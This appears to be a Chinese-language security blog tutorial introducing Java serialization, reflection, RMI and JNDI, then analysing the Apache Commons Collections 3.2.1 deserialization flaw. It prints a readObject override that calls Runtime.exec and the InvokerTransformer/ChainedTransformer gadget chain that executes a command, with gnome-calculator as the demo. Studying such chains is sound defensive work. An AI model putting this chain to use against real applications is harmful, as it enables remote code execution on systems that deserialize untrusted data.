初识JAVA反序列化

准备

Java的序列化与反序列化

简介

Java的序列化用于多平台间通信对象持久化存储,Java通过将待序列化对象的对象类型数据信息转换为字节序列,以达到存储或传输对象的目的。

Java的序列化与反序列化操作被集成在java.io包中

序列化:使用ObjectOutputStream类中的writeObject()方法。如果输出到文件,按照Java的标准是将其保存在扩展名.ser的文件中

反序列化:使用ObjectInputStream类中的readObject()方法

需要注意的是,只有实现Serializable接口的对象才可被序列化

eg.

People类:

import java.io.Serializable;

public class People implements Serializable {
public String Name;
public Integer age;
public People(){
this.Name="12end";
this.age=18;
}
}

实现序列化与反序列化->Unser类:

import java.io.*;

public class UnSer {
public static void main(String[] args) throws Exception{
People _12end=new People();
//序列化对象
FileOutputStream FileOut=new FileOutputStream("/tmp/People.ser");
ObjectOutputStream ObjOut=new ObjectOutputStream(FileOut);
ObjOut.writeObject(_12end);
FileOut.close();
ObjOut.close();
System.out.println("Serialize success");
//从输入流中反序列化出对象
FileInputStream FileIn=new FileInputStream("/tmp/People.ser");
ObjectInputStream ObjIn=new ObjectInputStream(FileIn);
People test=(People) ObjIn.readObject();
System.out.println("Unserialize success. Name: "+test.Name+" Age: "+test.age);
}
}

运行结果:

1563974432512

查看序列化文件的hex内容:

1563975002172

如上图,需要注意的是,ac ed 00 05是Java序列化内容的特征,其后的0005为版本号,也可能更高,但大部分时都是0005,如果经过base64编码,那么相对应的是rO0AB

序列化方法的重写

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。在People类中添加如下方法

private void readObject(java.io.ObjectInputStream in) throws Exception{
in.defaultReadObject();
Runtime.getRuntime().exec("gnome-calculator");
}

当该类序列化时,便会弹出计算器:

1563976132114

不仅可以用readObject()方法读取对象,也可以用readUnshared()方法读取,区别在于后者不允许后续反序列化方法引用这次反序列化得到的对象

RMI(远程方法调用)

一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA,RMI的传输基于反序列化,默认端口1099

JNDI(Java 命名目录接口)

JNDI是java平台的一个标准扩展,为JAVA应用程序提供命名和目录访问服务的API,

命名

将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。

目录

也是以容器环境作为载体,与命名不同的是,目录容器环境中保存的是对象的属性信息,提供的是对对象属性的各种操作

反射

说起序列化漏洞,不得不提到Java的反射

Java的反射机制可以让我们在只知道对象名称的情况下,通过反射获取它的类,类可以通过反射获取它所有的方法(包括私有),获取到的方法也可以调用。

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
Method method = clazz.getMethod(methodName);
method.invoke(clazz.newInstance());
}
  • forName——获取类
  • newInstance——实例化对象
  • getMethod——获取类的方法
  • invoke——调用方法

第一行,我们通过ClassforName()方法根据类名来获取到一个Class

关于Class对象/

每个类被加载进内存后,会在堆内存中会产生一个唯一的Class类型的对象,这个对象包含类的完整结构信息,通过该Class对象就可以访问到JVM中的这个类.

有如下三种能够获取Class对象的途径:

  • obj.getClass()如果存在某个类的实例 obj ,那么我们可以直接通过obj.getClass() 来获取它的类
  • Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接拿它的 class 属性即可。这个方法不属于反射。
  • Class.forName() 知道某个类的名字,想获取到这个类,就可以使用forName() 来获取

接着,通过getMethod()方法获取到Method类,与其类似的还有一个getDeclaredMethod(),前者获取的是当前类的所有public方法,包括从基类继承的、从接口实现的,后者获取的是当前类自身声明的所有方法,包括public、protectedprivate方法

getMethod(String name, Class… params_type)

getDeclaredMethod(String name, Class… args_type)

最后,通过invoke()方法调用newInstanse()实例化对象的method方法

Method.invoke(Object obj,Object… args)

尝试——JAVA Apache-CommonsCollections反序列化部分分析

Apache Commons Collections序列化RCE漏洞问题主要出现在org.apache.commons.collections.Transformer接口上,漏洞版本jar包下载:

commons-collections-3.2.1-1.0.0.jar

据了解,漏洞核心部分需要利用的类有InvokerTransformer.classChainedTransformer.class以及ConstantTransformer.class,理解了核心,就可以构造诸多利用链,例如从TransformedMap入手,构造利用链的文章数不胜数(当然本文也是重复造轮子、搬砖),就不再赘述,感兴趣的大表哥可以自行搜索,深入了解。

InvokerTransformer

查看这个类的transform方法,我们发现它实现了反射,且未作任何限制,这也就意味着一旦输入可控,我们就能够调用任意方法。

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

这需要iargsiMethodNameiParamTypes可控,观察该类的构造函数,发现这三个变量可控:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

为了能够执行Runtime.getRuntime().exec(),我们需要transform方法多次执行,且能够链式地把结果传入下一个transform的参数。接下来找能够多次执行其transform方法的类,全局搜索transform,在ChainedTransformer类中发现其transform方法使用了一个for循环来遍历执行transform,且参数仍然可控:

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

该类将上一次transform执行的结果当作下一个transform的输入,也就意味着,我们只需要再找到一个transform能够返回我们指定类的类(Runtime类),ConstantTransformer类满足要求:

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

但是仍然存在问题,Runtime并没有实现Serializable接口,即便想办法构造了出来,也是不可反序列化利用的,这里就需要我们利用InvokerTransformer反射回调出Runtime.getRuntime()

(网传的demo)

Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法

new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),

//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"gnome-calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");

最终调用链:((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("gnome-calculator")

在反射调用invoke那部分比较绕,为了便于理解,我按照执行流程写了一个demo:

import java.lang.reflect.Method;

public class Reflex {
public static void main(String[] args) throws Exception{
//step1
Object clazz=Runtime.class;
Class temp =clazz.getClass();
Method method=temp.getMethod("getMethod",new Class[] {String.class, Class[].class });
clazz=method.invoke(clazz,new Object[] {"getRuntime", new Class[0] });
//step2

temp=clazz.getClass();
method=temp.getMethod("invoke",new Class[] {Object.class, Object[].class });
clazz=method.invoke(clazz,new Object[] {null, new Object[0]});

Method method_=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{});
Object runtime=method_.invoke(null);
//Object b=clazz.invoke(null);//can't resolve method "invoke"
//step3
temp=clazz.getClass();
method=temp.getMethod("exec",new Class[] {String.class});
clazz=method.invoke(clazz,new Object[] {"gnome-calculator"});
}
}

偏个题,我不知道可以通过Runtime.getRuntime().invoke(null)可以将Runtime实例化,想试一试才写下这个demo。奇怪的是,在文中注释的部分竟然报错,而此时的clazz与method_是相同的,就连idea也标识的一模一样(都是Method类型),但是就是无法正常运行。思考良久,发现是类型上溯的原因:定义clazz时用的是Object,尽管它是所有类的父类,但是把一个Method对象赋值给它时,会发生类型上溯,此时它会丢失所有已实现的方法,有的只是Object所有的属性与方法,相当于只是一个空壳子,当然就执行不了invoke方法1564239363514

引用

java反序列化学习之apache-commons-collections

深入理解JAVA反序列化漏洞

Java安全漫谈-01.反射篇(1)

Author: 12end
Link: 12end.xyz/2019/07/27/javaunser1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.